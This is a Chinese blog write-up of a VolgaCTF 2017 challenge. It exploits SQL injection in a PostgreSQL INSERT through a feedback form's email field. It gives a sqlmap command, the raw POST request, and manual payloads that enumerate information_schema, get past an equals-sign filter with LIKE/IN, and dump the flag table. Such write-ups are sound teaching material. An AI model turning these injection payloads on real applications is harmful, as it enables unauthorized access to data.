zoukankan      html  css  js  c++  java
  • PostgreSQL的insert注入

    写这篇文是在昨夜的ctf中遇到的。 

    ctf地址:bloody-feedback.quals.2017.volgactf.ru  

    email存在注入,在ctf中发现注入就很好办了,只要找到能绕过的方法就行。发现有pg开头,联想到PostgreSQL数据库

    试着补全语句

     发现错误回显的有效信息更多了,

    ERROR: INSERT has more target columns than expressions
    LINE 1: INSERT INTO messages (code,name,message,email,status) VALUES

    大概的语句就这样

    INSERT INTO messages (code,name,message,email,status) VALUES('aaa','aaa','aaa','aaa','aaa')
    

      email在第四个,所以在补全一个status就行,

    找了好久的资料,没发现PostgreSQL的报错方法。

    尝试使用sqlmap

    ➜  sqlmap proxychains4 python sqlmap.py -r 1.txt --dbms=PostgreSQL -p email --prefix "',(" --suffix "))--" -v3

    1.txt的内容

    ➜  sqlmap cat 1.txt
    POST /submit/ HTTP/1.1
    Host: bloody-feedback.quals.2017.volgactf.ru
    Content-Length: 41
    Cache-Control: max-age=0
    Origin: http://bloody-feedback.quals.2017.volgactf.ru
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
    Content-Type: application/x-www-form-urlencoded
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    DNT: 1
    Referer: http://bloody-feedback.quals.2017.volgactf.ru/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
    Connection: close
     
    name=aaa&email=aa@qq.com&message=assa
    

      

    发现能识别注入,美滋滋。

    接着在跑表,发现需要用枚举的方式来跑。枚举????ctf的表名和字段名从来都很非主流的好嘛!!

    还是用手工吧。

    小伙伴发现在后面补全的时候,

    name=a%27a%27a&email=aa%40qq.com','aaa')--&message=aaa

     也就是'aaa'那里,只要不加引号,直接放sql语句也是可以的,回显的话需要访问response给我们的连接

    查看当前数据库权限:

     然后在访问response的连接就行。

    接着查询表名,直接把当前数据库当做放flag的表

    name=aaa&email=aa@qq.com',(select table_name from information_schema.tables limit 1 offset 0))--&message=assa

    表名:s3cret_tabl3

    接着爆列名。

    本来的语法应该是name=aaa&email=aa@qq.com',(select column_name from information_schema.columns where table_name='s3cret_tabl3' limit 1 offset 0))—&message=assa

    发现等号被过滤了,找了一下发现like也行

    于是变换语句

    name=aaa&email=aa@qq.com',(select column_name from information_schema.columns where table_name  LIKE 's3cret_tabl3' limit 1 offset 0))—&message=assa

    name=aaa&email=aa@qq.com',(select column_name from information_schema.columns where table_name in ('s3cret_tabl3') limit 1 offset 0))--&message=assa

    如果宽字节的注入 ,这里不能用引号怎么办?测试了发现mysql的0x和0b在这里不管用。(待解)

    列名为s3cr3tc0lumn,

    然后直接出来数据。

    select s3cr3tc0lumn from s3cret_tabl3 limit 1 offset 2

    发现这样不需要列名也能直接出数据   

    select * from s3cret_tabl3 limit 1 offset 4
    

      

    附带一篇Postgres注入方式总结.pdf

  • 相关阅读:
    日报10.11
    日报10.9
    日报10.8
    日报10.7
    换马甲啦
    CSP2019知识点整理
    字符logo存档
    QHDYZ模拟赛20191027 提前透题
    数竞大佬jhc的三角函数复习题
    IO流
  • 原文地址:https://www.cnblogs.com/yangxiaodi/p/6622401.html
Copyright © 2011-2022 走看看